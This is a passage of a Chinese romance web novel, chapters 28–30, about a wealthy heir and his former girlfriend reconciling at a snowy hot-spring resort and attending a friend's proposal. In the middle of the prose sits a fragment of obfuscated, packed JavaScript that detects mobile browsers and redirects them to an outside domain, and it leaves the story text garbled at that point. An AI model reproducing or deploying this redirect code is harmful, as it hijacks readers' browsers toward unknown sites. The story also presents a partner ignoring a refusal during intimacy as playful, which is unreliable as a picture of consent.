酒店分三个区域。 安翰包了其中风景最好的一部分。 摆渡车把两人和行李送到后就离开,服务生引两人进门后问需不需要准备晚饭。 季曲看向孟慈,等她的意见。 孟慈看了看逐渐阴沉的天空,点头说好。 AB栋的房间分布,孟慈选了B,给季曲剩了A。 她前脚刚进门季曲后脚就跟上,一点都不见外。 “你没自己的房间?”孟慈按住季曲正要往屋里拉的行李箱。 “我害怕。”季曲脸不红心不跳地撒谎。 “你和薄小姐在一起时也这么……”孟慈没说完剩下的三个字,但是已经很明显。 季曲无谓耸肩,又不是和外人谈生意争项目,和孟慈要脸没用,就得不要脸才能尝到甜头。 孟慈看着已经领着行李登堂入室的季曲,冷哼一声转身出门,还没等摸到门把就被季曲拉着胳膊扯回来。 “你能不能别和我闹别扭了?” “我没和你闹别扭。” “那你能不能别提薄娴了?” “为什么不能提?” 季曲往前走一步,低头去蹭孟慈的鼻尖,却被她偏头躲开,季曲顿了一下,然后顺势抬下巴在孟慈脸颊上贴了贴,“因为你总是提她的话,我会觉得……你在吃醋。” 脸上的湿润感来得突然,孟慈还没来得及伸手去擦就被季曲的下一句话点燃,刚想扭正脸说什么就对上季曲调笑意味十足的表情,薄薄的双眼皮敛得更深,唇角也高高挑起。 握住孟慈想推开自己的双手,季曲又往前凑,笑得无赖。 “孟慈,这么快就爱上我啦?” “吃什么飞醋啊?我不就在这儿,在你面前,吃我多好?” 28. 第 28 章 不着调的后续就是孟慈一直到晚饭都没和季曲说一句话。 卧室的门一关,房子里被分成两个空间,一半姓孟,一半姓季。 孟慈洗了澡换了身衣服,黑色荷叶边长裙衬得孟慈更加纤细。 头发被她盘在脑后,露出一对小巧的耳朵,和坠在上面的浑圆珍珠。 拿起手机一看,已经晚上七点。 推开卧室门出去,季曲正坐在沙发上开视频会议,架着副金丝眼镜,神情严肃。 终于变成再正常不过的他。 看到孟慈出来,季曲冲视频打了个示意暂停的手势,在键盘上点击几下,然后摘下耳机问:“饿了吗?” “还好。” “再给我二十分钟,然后吃饭。” 孟慈点头,季曲又恢复工作状态,专注于他的笔记本电脑。 绕开季曲走到落地窗前,孟慈隔着玻璃看大雪纷扬,比天气预报来的早。 安娜刚好打来电话,回头看了眼正在仔细倾听的季曲,孟慈轻手轻脚地拉开窗户出了房间。 石头砌成的温泉池正在潺潺地冒热气,与空气中的雪片相遇,化成白雾,踩在木地板上,孟慈按下接听键。 安娜:“宝贝你们已经到啦?” 孟慈:“嗯,傍晚落的地。” 安娜:“怎么样?那边冷不冷?我带了好几条裙子赵一辰非说会冻死我。” “祖宗你但凡看看天气预报呢?零下二十度,你以为你的那些小裙子扛得住?” 赵一辰的声音从听筒里传来,看来两个人又在闹。 孟慈:“是有些冷,我今天穿着羽绒服。” 安娜:“室内呢?” 孟慈:“你哥求婚是在室外吧?” 孟慈刚刚从酒店大厅乘摆渡车过来的时已经看到了求婚场地,除了鲜花还在温室养着其他全部到位。 电话那边安娜还在说穿一会儿拍个照就行,不会在外面冻太久。 孟慈又提醒到现在自己这边在下雪,明天起落要报个平安。 安娜自然说好,然后便挂了电话去和赵一辰争论。 一通电话打了差不多十分钟,推开玻璃进屋的时候季曲刚好挂了视频。 孟慈问:“结束了?” 季曲拂掉孟慈发上的雪花:“嗯,吃饭吧。” A5级的和牛经过炙烤后散发出浓郁的香味,油花丰富口感细腻。 孟慈一连吃了三分之二,再加上七七八八的抹茶小食。一顿饭结束孟慈才后知后觉地有些撑的难受。 “出去走走?周围风景还不错。”季曲看着坐在沙发上双手捂着胃的孟慈提出建议。 想了几秒,孟慈说好。 依旧是落地的那件羽绒服,配上季曲不知道什么时候塞到行李箱里的雪地靴,孟慈突然丧失了出门的欲望。 转头看到仅穿了件大衣依旧风流倜傥的季曲,欲望更甚。 在孟慈开口之前,季曲眼疾手快地把人推出了门。 酒店已经提前在小径上撒了融雪剂和粗盐,奈何雪一直下,总有全新的一层覆盖。 孟慈缓慢地踩着雪沿着酒店竖着指示牌的行人道走,感受着新雪的松软。 然后在“咯吱”声响后变得硬实,变成自己的一个脚印。 由于孟慈和季曲提前一天到,这个区除了他们两人只有时不时来消雪检查的安保人员。 季曲走在孟慈身后,右手始终在空中悬着,生怕孟慈不小心脚滑。 偏偏孟慈没有这方面的顾虑。 哪里雪厚就往哪踩,脚印乱七八糟,活脱脱地像第一次见雪的小孩儿。 季曲没忍住开口提醒:“慢点儿。” 偏偏孟慈不当回事:“没事。” 把季曲的担忧抛在脑后,孟慈心无旁骛地在前面踩雪。 低着头不知道走了多远,一直到孟慈觉得自己的耳朵开始疼,才准备返程。 季曲像是孟慈的尾巴,跟着人转身甩了个圈,依旧走在她身后,踩着她的脚印返回。 离房子越近两人之前留下的痕迹就越少。 到最后,孟慈的面前干脆出现了一面崭新的雪地,白茫茫一片。 前面的人好久不动,季曲以为孟慈哪里不舒服,“怎么了?” “我的脚印没了。” 孟慈回过头,羽绒服的帽子随着她回身的动作掉落,她的鼻尖已经通红,睫毛上也全是雪。 呼出的白气挡在她脸前,平白像是填了层滤镜。 季曲看得愣了一拍,然后才顺着她手指的方向看过去,季曲比孟慈高不少,微微侧身就能看到。 季曲:“雪太大了,盖住了。” 孟慈:“雪下面呢?” “先填满再盖住。” “那怎么一样厚,我明明踩下去很深,雪一直下,平均的下,不应该一点都看不出来。” 季曲听到这番道理逐渐笑了,然后解释,“不一样的,你踩过的地方再盖上一层雪,会虚一些,而且仔细看,不是平的。” 听得一知半解,原来高材生口才也这么一般。 孟慈没再追问,扭头继续走,马上就到了。 两个人溜达了快半个小时,回到房间已经不算早。 季曲说自己还有个会要开,在这边会打扰孟慈,就抱着电脑离开了。 不过行李还留在这边儿没动。 孟慈没锁门。 反正只要季曲想过来,他有的是办法,何必装模作样的搞这些有的没的。 餐桌上放着温好的清酒,旁边还附着卡片。 【感谢您下榻,招待您的青梅酒。】 知道孟慈是中国游客,还特地翻译成中文打印。 木制托盘里放着一壶酒和一枚酒杯。 孟慈看了看窗外冒着袅袅白雾的温泉,决定抛弃今晚要早早休息的誓言。 趴在温热的石头边上,孟慈看着远处的雪山放空。 黑白的界限开始不分明,暧昧地欺在一起混染天际。 托盘浮在水面,轻轻地撞了她胳膊一下,孟慈这才想起来自己还有酒。 拿起酒壶给自己斟了一杯,拿到嘴边品品。 辛辣的酒精味和青梅的涩融合地不算太好,但是温泉太热蒸得人口干。 孟慈也不想再跑到房间里取水喝,干脆就这么凑活着。 季曲开完会已经快十二点,想着孟慈应该睡下了,便在自己这边洗漱完再过去,省得吵醒她。 失误的是行李箱还放在孟慈那屋。 季曲洗完澡拿出浴袍穿上,只能过去再换衣服。 孟慈屋子里的客厅还亮着灯,落地窗没关严实,风雪顺着缝隙溜进来。 季曲看了眼漆黑的卧室,刚以为孟慈没关严实门窗就睡了,却没成想在室外的温泉里看到她。 夜深到已经看不清对面的景物,只是漆黑一片。 上方还有晚星闪烁,下方就只是单纯的黑,少了白日的空阔感,十分压抑。 孟慈背对着屋子双手趴在石头上,头歪歪地靠在手上,雪白的肩颈浮在水面,旁边还有一支随着水波荡的托盘。 季曲在自己那屋也看到了,酒店招待客人用的清酒,度数尚可。 但是架不住和温泉一起,高水温会加速酒精挥发。 再加上山间的凉风一吹,季曲现在甚至都不确定孟慈是趴在那睡着了还在醉倒了。 走到孟慈面前,她果然闭着眼,脸颊泡的有些发红,也可能是喝了清酒的缘故。 季曲从托盘上拎起瓶子晃晃,只剩了个底,还没少喝。 得儿,之前的话全当耳边风了。 就着壶喝尽壶底的残余,季曲抿嘴品品,还行,不算烈,睡一晚上也就没什么事了。 刚准备把人捞出来,季曲就看到孟慈不知道什么时候已经睁开眼睛看他。 孟慈歪头靠在自己的手上,双眸泡的水意朦胧,一眨一眨地看着季曲,语气不常见的柔软。 “季曲。” “怎么了祖宗?” “你过来点。” 季曲听话俯身,瞬间能感觉到热气扑面。 还没等他伸手把人捞上来,孟慈就双手撑着石头从温泉里探出来轻轻在自己唇角落了一个吻。 吻持续了两三秒,孟慈因为长时间压着手连带着小臂都有些麻,身体有些不听使唤。 原本打直的胳膊闪了一下,孟慈低头懊恼似的看看,然后缓了缓肌肉,再次撑着吻上来。 这次,孟慈伸出舌尖,主动往季曲嘴里探了一下。又飞快地退出,拉开和季曲的距离,直勾勾地看季曲的反应。 谁都不是圣人,尤其是孟慈只裹了一条浴巾,还因为吸了水而有些散开的时候。 季曲的喉结上下滑了一回,眼底压抑着的欲望逐渐翻涌,比身后的黑还要浓稠。 不知道孟慈什么意思,季曲准备先忍一会儿,他声线暗哑,故作冷静地问:“怎么突然亲我?” “你说我不爱你。”孟慈是有些醉,但是不算多。 这一点季曲能看出来,因为孟慈的眼神中还带着几分她一贯的清冷。 所以,他警告自己,好不容易把人带出来,还是先忍一会儿。 “你义正严辞的,头头是道的,说我不爱你。”孟慈的反击来得有些晚。 其实季曲说的那些,孟慈通通承认。 她表面风轻云淡,其实内心早就为想得到东西绞尽脑汁。 她发现自己和季曲的关系开始走上悬崖峭壁,所以她选择及时喊停,用最能麻痹自己的方 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别人不清楚,以为季曲永远是一副高高在上的优越模样,永远不急不缓、不骄不躁。 但是孟慈看过季曲在合同告吹的时候彻夜枯坐,看过季曲在项目进展不顺时砸了时时把玩的茶杯,看过季曲在被家庭施压后气红了眼却只能接受的模样。 这样的季曲,和孟慈二十二年来的经历格格不入。孟慈却也自愿投身,她的声线也随着身体颤抖的幅度变化。 “我生日那天,你说公司临时有事,然后再也没回来。” “那天是真的有事,工地出了事故,现场情况混乱,不小心就摊上官司。” “去游乐园那次,你说好要陪我一整天,结果玩了两个项目你就接了电话走了。” “我妈那天突然难受,她做过手术,你知道的慈慈。” “答应我养小猫那次,我挑了好几只,等你来选,你说你忙,让我自己决定,但是我抱回来没多久你就趁我睡觉把猫送走了。” “那是因为你毛发过敏,对你身体不好。” 话说到这儿,再讲下去就没意思了。 孟慈要的是态度,季曲给的是结论。 情绪问题才是亲密关系中压死骆驼的最后一根稻草。 孟慈酒醒了七八分,脑子却开始混乱。 她低头想了几秒,一直到季曲伸手让她出来。 看着面前可靠的手掌,孟慈没忍住,从水里拿出自己的手,缓慢地放在季曲手心,然后立马被握住。 “但是季曲。” “嗯?” 虽然季曲掌心温暖,但是孟慈的手上沾水。 离了热源,风一吹,立马成冰。 “我其实不喜欢过生日,我也讨厌在一群人面前吹蜡烛,我只想和你一起,不吃蛋糕也可以。” “我也不喜欢游乐园,里面的项目太刺激,我又恐高,除了旋转木马没什么可玩的。” “而且……我也没有毛发过敏,那段时间身上起疹子是因为楼下新换了一批草种,我不小心沾到了。” 孟慈再抬眼时,一贯清丽的眼红了整片,“季曲,你太忙了,总是顾不上我。” “我讨厌你,我离开你,我算计你,但是……” 嗓子眼好像被什么不存在的东西堵了个彻底。 孟慈没说完接下来的话,眼泪就生生地往下砸,落在温泉水里,一滴又一滴。 季曲感觉自己的心脏突然被孟慈捏紧。 即使她没怎么使力,热气持续不断地蒸发在两人中间,模糊了对方的脸。 理中客其实并不好当。 尤其在两人的关系中,孟慈几乎没充当过这个角色。 此时一字一句地辩驳,不仅把那晚的季曲将的彻底,更把现在的季曲堵的严实。 如果爱是确切无疑,那孟慈离开时也一定有过真真切切的难受心痛。 季曲拉着孟慈的手,感觉她的体温在一点点流失。 “先出来……”季曲话还没说完,孟慈就先给出解决办法。 在水中迈一步,孟慈抱住岸上的季曲,靠在他的颈窝,打湿他的浴巾,“你觉得我们之间的问题出在爱上?” “当然。”季曲自认为自己拥有一切,拥有搞定一切的本领,拥有孕育爱无限生长的土壤,他只需要孟慈无畏无惧地爱自己,“只要你爱我,一切就不是问腿。” 看言之凿凿的季曲,孟慈勾唇笑了一下,季曲好像总是这么自信。 似乎是因为广阔天地中只有彼此的存在,孟慈一时间也被季曲的自信冲昏了头。 她也给出回答:“那就听你的,我们再试一次。” 29. 第 29 章 湿沉的浴巾沾湿季曲身上的浴袍。 特别定制的吸水材质很快让两人变得同样沉甸甸。 孟慈的颤抖还在加剧。 季曲抱着人进屋。 在踏入室内的瞬间就把已经冷冰的织品扔在地上。 皮肤上挂着的水珠颤巍巍地落了一地。 季曲取了新的烘的温暖的浴巾裹住孟慈,一点一点地把娇嫩的皮肤擦干。 经过高温浸泡的身体还有些发红。 季曲不是柳下惠,坐怀不乱。 重逢以来几次三番地被孟慈撩拨,次次被凶猛火舌燎了原。 偏偏孟慈又不负责救火收场。 眼看有了反/应,季曲看着面前被浴巾裹紧的人,没忍住在孟慈脸上落下细密的吻。 起初孟慈还没拒绝,怯生地回吻。 纤细的手臂也勾上季曲的脖颈,莹白的肩膀暴露在空气里。 季曲握住稍稍用力地摩挲几下,便又红了起来。 “……不行。” 孟慈喘息不匀地拉开埋在自己心脏处的季曲。 尝到甜头的季曲全当没听见。 把孟慈的两只手腕握住往呼之欲出的地方按。 “季曲!”孟慈开始急迫,咬在季曲耳尖,不算轻的一口,咬得季曲呲了牙。 “非得这个时候打断我祖宗?”季曲被迫抬头,满脸欲求不满。 吸烟喝酒打牌,年轻时候飙车跳伞,季曲没什么不做的。后来接了家里的生意才慢慢养成沉稳踏实的性子。 但是内里,还是蔫坏。 之前那段时间,季曲对孟慈的兴趣远远胜过烟酒。 孟慈不满道:“不是叫我爱你?” 季曲摆出无赖模样:“是啊怎么了?” 孟慈语调爬高:“哪有刚爱上就把人往床上拐的?” 季曲这次打定主意不能让孟慈轻易逃脱。 就算她今天把华婉搬这儿也得等半个小时才能见到季曲本尊。 “也成。”季曲意料之外的先退一步,他笑得有些怪,“那我们慈慈换个法儿帮帮我?” 又不是刚认识季曲那会儿,孟慈自然知道季曲的意思。 从两人紧贴的身体感受着季曲的热切,孟慈不情不愿地伸出手。 “你快点,我手酸。” “行,听你的。” 季曲如愿以偿地又吻上。 在握上的那一瞬,他嗓间不由自主地溢出一声舒适的叹喂。 …… “你到底好了没有季曲!”孟慈感觉自己的手腕要断了,忍不住催促。 “没好怎么着?你有别的法子?”季曲浑不吝道。 孟慈被堵的一哽。 她自然知道季曲说的别的法子指什么,干脆装傻充愣。 见状,季曲笑着揉捏了下手掌心的软,忽地加快。 浴室里的镜面被水汽氲满,水珠沿着滑落,留下清晰的痕迹。 在接了数不清的漫长的吻,孟慈缺氧到眼角流下生理性眼泪之后。 季曲终于放过她。 - 第二天,孟慈睡到快中午才起,身边一片冰凉。 走到卧室的窗户拉开窗帘一看,漫山遍野的雪,太阳光落在上面,反射到孟慈的身上,她一时间被刺到睁不开眼。 出了卧室,季曲正在客厅看合同。 听到孟慈醒了,他直接合上电脑,问孟慈吃点什么。 孟慈点了杯咖啡,季曲拿手的。 房间里配了咖啡机和咖啡豆。 取豆,研磨,压粉,烘煮,过滤。 孟慈拿到咖啡的时候已经过了二十分钟。 “你可以继续工作,不用管我。” 孟慈抱着杯子坐在沙发上晒太阳。 睡了这么久,身上止不住地发酥。 有一口没一口地喝热乎乎的拿铁。 孟慈觉得这儿的豆子不怎么香,她的口味偏焦,手里的这杯发酸。 看出来孟慈不怎么喜欢,季曲说喝不了就不喝了。 孟慈顺从把杯子放在茶几上。 好久没看过孟慈这么温柔小意的模样,季曲有些分心。 在第三次想挨着孟慈的时候,季曲干脆把人抱到怀里,放在膝盖上。 “干嘛?”孟慈正晒的舒服,突然间被挪动了位置十分不满。 “抱一会儿。”季曲捏捏孟慈的手,又补充一句,“谈恋爱都这样儿。” 孟慈不觉得这样的姿势能同时满足季曲看合同和自己晒太阳的需求:“你偶像剧看多了吧。” 季曲反驳:“我哪有时间。” 这倒是真的。 季曲家的钱也不是大风刮来的,地位也不是靠吹嘘就能获得的。 这些都得拿时间来换。拿对人人都平等的时间来换。 眼看着怀里的人要跑,季曲连忙想了别的招。 非让孟慈和他一起看合同,找找错漏。 “你敢给我看?”孟慈扫了一眼,是北城前段时间炙手可热的飞地重建项目,各方争破头都想抢一抢,明的暗的消息满天飞,最后谁都没捞着好。 “这有什么不敢的。” “不怕我抢?” “能抢过去算你的本事。” 季曲动了动腿,给孟慈调到一个舒服的位置,把光标调到最开头,带着人重新开始一条一条的过。 合同这种东西,虽然有公司的人一层一层地逐字阅读,但是季曲总习惯自己最后再看一遍。 是他的性子,小心谨慎,分毫不踏错。 中午两个人简单地吃了点寿司,等着晚上和安翰等人聚。 结果还没到天黑就收到大雪停飞的消息。 安娜和赵一辰落到东京,现在公路封路,要等好久才能到。 求婚的主人公倒是到了。 但是何冉的工作临时拖延,他只能陪着。 因此检查求婚场地的事自然而然地落到了季曲和孟慈的头上。 “都来不了?” “大雪停航,估计悬。” 季曲拿起手机找附近的餐厅。一连两顿都在酒店解决,得带孟慈出去吃点新鲜的。 “没提前看天气预报?”孟慈看着窗外又开始飘落的雪花皱眉。 “怕求婚失败?”季曲好笑地看着为别人的事发愁的孟慈,没忍住上去捏她的脸。 孟慈的眉头皱得更深,说疼。 季曲手上品着劲,自然知道孟慈真疼假疼。松开掐着的肉又哄着揉揉,孟慈这才给了季曲正眼。 “走吧,吃饭去。” 饭店里酒店不算远,是家开了几十年的老店,招牌菜是新鲜的河豚火锅。 鲜白的汤底咕噜噜地翻滚,处理好的鱼肉一烫就打了卷。 季曲熟练地烫了四五片鱼肉放到孟慈碗里,才拿起自己的筷子去吃生鱼片。 孟慈对生的食材不太感冒。 配餐的清酒温得刚好。 孟慈有些头痛,就喝了一小盏,季曲把剩下的包圆。 吃完之后两人就回酒店帮安翰盯现场。 说是盯,其实就是随便逛逛看看。现场有几十人的团队盯着,想出点错都难。 鲜花依旧在温室养着,这个天摆出来没一会儿就得冻蔫。 就像孟慈一样。 今晚出门她死活没再穿那件臃肿厚重的羽绒服,挑了件裁剪精致的驼色大衣,好看是好看,只不过在室外一会儿就冷得跺脚。 不过这也不能只怪大衣。 毕竟大衣下裸露的双腿仅被一双靴子包裹,风一吹就爬起鸡皮疙瘩。 季曲解开自己大衣的外套,把人裹在怀里。 看着孟慈的脸色一点点地恢复红润,才舍得调侃两句。 “冷了?” “不冷。” 季曲见状就要松开大衣的衣襟,把人放逐回寒冷的空气中。 但孟慈又不是个傻的,当即握住季曲的手,侧过脸和季曲说谈恋爱就是不管冷热都要腻在一起。 “话都让你说了。”季曲咬了下孟慈小巧圆润的耳垂,把大衣又拢紧了点。 参观完场地,两个人坐摆渡车回到房间,季曲看见茶几上放着的新的清酒,问孟慈还要不要泡温泉。 孟慈摇头,说自己有些乏要早点睡。 一直到孟慈洗完澡出来,季曲才发现她哪里不对。 灭了房间的灯,仅留一盏床头的, 季曲把背对自己躺着的人捞到怀里,手抚上孟慈的小腹。 “是不是要生理期了?” “嗯?” 孟慈被问的一懵,后知后觉地想了想上个月的日子,差不多就是这几天。 看到孟慈的表情,季曲就知道自己猜对了,“那晚上还穿那么少就往外跑?” 孟慈眨眨眼:“我忘了。” 身上愈发疲惫,再加上季曲按的舒服,没一会儿孟慈就呼吸匀了,连床头热好的牛奶都忘了喝。 一夜好眠。 第二天起来,季曲破天荒的也还躺着。 “醒了?”季曲摸摸孟慈睡的微热的脸颊。 “嗯。”孟慈揉揉眼,下意识地往热源处靠,季曲张开胳膊,方便孟慈拱。 结果就是孟慈趴在季曲的胸膛又补了一觉。 再睁眼时,安娜和赵一辰到了。 孟慈陪着两个人在酒店的餐厅先填填肚子。 季曲接到孙谦的电话,刚好孟慈有人陪,自己就窝在房间里处理工作。 孟慈给安娜倒了杯热水:“你哥几点到?” 安娜看了看手机里的消息:“快了,他先把我嫂子安顿好,就来找咱们。” 孟慈点头,看着室外忙碌的人们,玫瑰花海逐渐成型。 “晚上好像就咱们几个,其他人都来不了了。” 赵一辰拿着手机翻看信息,都是因为大雪耽误行程的。 加上何冉的好友,能到场的不过十几人,比起盛大的置景,多少有些空旷。 晚上八点,安翰拿着早就准备好的台词翻来覆去地读念,紧张到手汗打湿了信纸边缘。 安娜见状开始嘲笑,说平常在谈判桌上咄咄逼人的时候可不是这样。 “我嫂子不是早就答应嫁给你了,有什么好紧张的?” “闭嘴,要不然下个月停你生活费。” 安娜乖乖闭嘴,转头欣赏自己挑了好久的小礼裙,在酒店的玻璃上照,怎么看怎么满意,期间还不忘拉着孟慈给她拍照。 “差不多得了,旁边那么多摄影师。”季曲忙完工作出来就看到安娜拉着孟慈左拍右拍,导致自己都没有和孟慈说话的机会。 “季曲哥。”安娜讪讪一笑。 她在季曲的不满眼神中连忙把手机拿回来,然后把孟慈还给季曲。 牵过孟慈的手,季曲问她晚上吃了点什么,有没有吃饱,肚子疼不疼。 孟慈摇头,说只是腰酸。 “我给你揉揉。”季曲覆上孟慈的腰,不轻不重地按。 “谢谢。”孟慈眯着眼受着。 “谈恋爱可用不着这么见外。”季曲揉到孟慈说停才收回手,转而牵起孟慈落在身侧的手放到自己的口袋。 一直到晚上九点,何冉这位主人公才到场。 她穿着经纪人说要拍摄广告用的礼服,在一片漆黑中下了车。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494143|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嘭——” 烟火与灯光一起点亮漆黑的夜,娇嫩的玫瑰成为点缀,铺成有情人终成眷属的花路鹊桥。 安翰没按提前准备好的台词发挥,现场走心了几句,反倒勾起全场女性的眼泪。 安娜早就在一旁哭的泪眼婆娑。 孟慈只是湿了眼眶,不至于落泪。 在拥吻环节,夜空里的烟火炸得更加热烈璀璨,仿佛要把最美好动人的祝福送给安翰和何冉,照亮他们的未来。 “感动啊?”季曲伸手揩去孟慈眼角即将掉落的泪,“喜欢的话我也给你整一次?” “不是。”孟慈摇头。 她虽然不是当事人,但也对安翰和何冉的感情有些了解。 在那些声色犬马的夜晚,何冉也曾在角落对孟慈坦白某些不为人知的秘密。 比如她根本没打算和安翰走到结婚那一步。 比如安东升曾在某个酒桌看上了她。 比如她其实也想要放弃。 孟慈记得何冉每每说这些话的时候,她那双摄人心魄的眸总会被莫名的未知填满,变得迷茫而昏暗。 “我没想过有什么结果的,你呢?”何冉看着被围在场中央灌酒的安翰,突然失了她一贯的张扬。 “我?”孟慈那时正被季曲捧到天上,要什么给什么,不要的也源源不断地往她手里送。 何冉:“对呀,你这么年轻,又不像我需要资源才能往上爬,你缺钱吗?” 孟慈:“不缺,我爸妈给的足够我生活。” 何冉:“那你图什么?总不能图他爱你吧。” 孟慈没说话。 在间隙的沉默里,何冉不可置信地笑了:“你真的图他爱你?” “不行吗?”孟慈答得坚定,倒是让何冉没法再生出笑意,她转头看清孟慈年轻无畏的眼,轻轻摇头似是无奈。 “行,爱这种东西,最廉价不过,而且对他们这种人来说,根本不是必需品。” “没事的,我就试试,没有就算了。” 那个时候。 孟慈看着季曲。 是生了几分不该有的期待的。 想到这儿,孟慈放过天边的烟火和不远处的有情人,转头看向身边的季曲。 可能工作了一天有些疲惫,他面上能看出意兴阑珊。 “爱廉价吗?” 意识到孟慈是在问自己,季曲垂眸对上孟慈的眼睛,里面有彩色烟火,“怎么这么问?” 孟慈耸耸肩:“就是问问,想看看你们这种人需不需要?” 季曲听出些话外之音:“什么叫我们这种人?” “就是……”孟慈组织了会儿语言,“手里身边有太多太多的东西可以代替爱的人。” 听到这儿,季曲勾唇笑了,“廉价的东西不一定不好,比如说超市里一块钱一瓶的水,那是生命之源。” “但你喝的水可不是超市货架上的那些。”孟慈反驳。 “那我换一个例子。”季曲思考了几秒,“其实能用钱买来的东西大都廉价,但是爱不一样,爱买不来。” 孟慈:“谁说的?” 季曲:“那我能不能买的你爱?” 孟慈不是没见过圈子里那些人和事。 开始的时候大多当作一场你情我愿的买卖交易,到最后才发现爱早就在暗处滋生发芽。 但是不可否认。 爱滋生的土壤并不纯粹。 过了几秒,孟慈才回复。 “不能,因为我的爱很珍贵,一点都不廉价。” 眼前是满面春风的安翰,孟慈突然发现自己的心情不知为什么变得沉重。 她低头看到季曲牵着自己的手,上面佩着着上百万的机械表,但这只不过是他表柜中的随意一块。 于是,在烟火落地的间隙,孟慈在思考重蹈覆辙的路有没有必要再走第二遍。 孟慈一点都不后悔设计那场。 把自己置于第三者的位置撞见季曲和薄娴的“恩爱场面”。 她当时是真的没有心气儿和季曲纠缠。 想到这儿,心脏没由来地一抽,闷着发酸。 察觉到孟慈的低落情绪,季曲决定先带着人离开。 毕竟后续也没什么重量级的节目。 一场烟火罢了。 孟慈想要的话他可以每天给孟慈放。 在回房间的路上,雪又纷纷扬扬地落下来。 季曲贴心地把孟慈发连的雪花扫尽。 烟火还在放,声声脆响。 遮盖住两人脚下踩雪的声音,也遮盖住两人关系中原本就有却被时间遮盖的裂纹。 “我们这次恋爱要谈多久?” “你想谈多久?” 季曲把问题抛回来,孟慈停了步子,侧过脸看着季曲。 对方一幅任尔予取的模样,偏偏不给一个确切答案。 在恋爱中,一辈子,下辈子,直至永远,是再普通平凡不过的词汇。 孟慈不说话,就这么等着。 偏偏季曲也一言不发,好似在比耐性,看谁先忍不住失分。 终究是季曲先低头。 雪越落越大,逐渐模糊了孟慈的脸。 “你想要我说多久?” “随便。” 给没意义的未来设限,是小孩子才喜欢干的事。 季曲习惯活在当下,把一切掌握在手里。 他没给孟慈什么时间承诺,看不到摸不着,就像空头支票,根本没意义。 慢慢来吧,牵住孟慈的手。 季曲想着。 路这么长,一步一步走,总能让孟慈看到她想要的东西。 30. 第 30 章 临近春节,整个城市都好像已经准备好休假。 红色的灯笼从中心开始铺了满城。 季亮鸿的宅子是第一批享有装饰的。 赵一辰家旗下的不少艺人要录拜年视频,临时搭的棚景没什么新意。 思来想去,还是外景合适。正好赶着红彤彤的地标性胡同拍,好不热闹。 正好拍到季亮鸿的院子门口,一辆车不偏不倚地拦在整段的红墙中间。 赵一辰想着该不能这么巧,走上前一看,还真是季曲的车。 一大帮人等着,赵一辰随即打了电话。 “哥?你在老爷子这儿吗?” “怎么了?” “我带公司的人来拍点东西,正好拍到老爷子门口,那面墙实在好看……” 这是自己车挡着人了,季曲今天回得着急,就没往车库停。 “你进来取钥匙,我走不开。” “好嘞哥。” 赵一辰进门前还找人给自己检查了遍着装,怕和老爷子打照面。 后来一想马上过年,自己还是空手上门,太冒昧,连忙叫助理跑出胡同买了附近最贵的烟酒糖茶。 双手拎得满满当当,赵一辰这才进了门。 沿着红柱长廊走了几个回转,才看到正院子。 季曲就站在院子当中。 指挥着一群工人不知道在忙什么。 赵一辰笑着走到季曲身边,笑眯眯地喊人:“哥,忙什么呢?” 听到身后的脚步,季曲知道人来了,头也没回就把车钥匙递出去。 “换条鱼,车自己挪,拍完了再给我放回原位。” “那当然没问题。”赵一辰大致扫了一眼,约莫五六十平的鱼塘里养了十几条百斤重的锦鲤,最大的抵得上赵一辰的半个身子。 “老爷子不喜欢了?”赵一辰看着工人们正把一条通身纯白只有头顶一点红的锦鲤捞出鱼池。 “岁数大了,前两天季澈回来看见这条不太精神,让我悄悄来换上一条。” 季曲安顿着工人们手慢点,这条还要送回华婉那儿继续养。 百斤大的锦鲤本就难找,还得是样貌大差不差。 季曲这两天几乎找遍了圈子里的人脉,最后还是从东北的某处农家乐里买出来的。 听老板说是他们的镇店之宝,本来说死都不卖,最后季曲硬生生在市价上翻了十倍才运回来。 但是还是要比原本的差些颜色,没那么白的润透。 季曲总觉得会被季鸿亮发现,到时候挨骂的可就不是自己了。 旧的捞出去,新的也准备放进来。 季曲伸手探进池子测了测水温,还算可以。 工人让季曲靠远些,别溅到身上水,季曲往后退了一步,看见赵一辰还在。 季曲问:“还有事?” 赵一辰摇头:“没有了哥,临时来怕老爷子在,拎了点东西。” 季曲看都没看,指了指房子,“给阿姨就行。” 看样子季亮鸿不在家,所以季曲才敢大摇大摆地进来“偷梁换柱”。 赵一辰把手里的礼盒递给阿姨,和季曲打完招呼这才离开。 换完鱼,季曲又盯着它在池子里游了一会儿,没什么不对劲。 季曲安顿养鱼的师傅这段时间得多上心,别真的哪天翻了肚子。那边华婉已经发来消息,说季亮鸿马上就到家,让季曲抓紧时间撤。 自己的车还不知道在哪。 季曲一边往外走一边给赵一辰打电话。 还没接通就看到赵一辰已经晃着车钥匙站在门口。 “哥,给你放回来了。” “开后备箱。” 三四个工人才把水箱稳稳地放进季曲的车的后备箱。 刚合上,季亮鸿的车就开进来了。 低调的红旗在季曲身边稳稳停靠,后座车窗下摇,季亮鸿的脸露出来。 他每周这个时候都要去医院做复健。 季亮鸿看着寒冬腊月仅穿了件灰色羊毛衫站在室外的季曲皱起眉头:“你怎么来了?” “我……”季曲把不小心被打湿的衣袖放在身后,难得语塞。 “季爷爷好!”赵一辰看出来季曲的吞吞吐吐,连忙打圆场,“我们公司今天出来拍摄,这不是想着咱们这个胡同灯笼挂得早,但是又怕管理的那面不让拍,我就临时把季曲哥请过来了,看能不能看在他的面子上帮帮忙。” “这儿事你得提前打报告,谁的面子也没用。” 季亮鸿的思想老派,听到这儿不免皱眉。 “打了打了,但是这不是以防万一嘛。”赵一辰连忙把盖了章的红头从助理手里拿过来递给季亮鸿,“我们都差不多拍完了,马上就走了。” 眯着眼看看纸面上的内容,季亮鸿把文件还给赵一辰,“抓紧拍,我就先走了,车子不好停街的当中央这么久。” “爷爷再见。” “季爷爷再见。” 一群人目送红旗开走,消失在巷尾。 “谢了。”季曲松了一口气,拍拍赵一辰的肩膀就要离开。 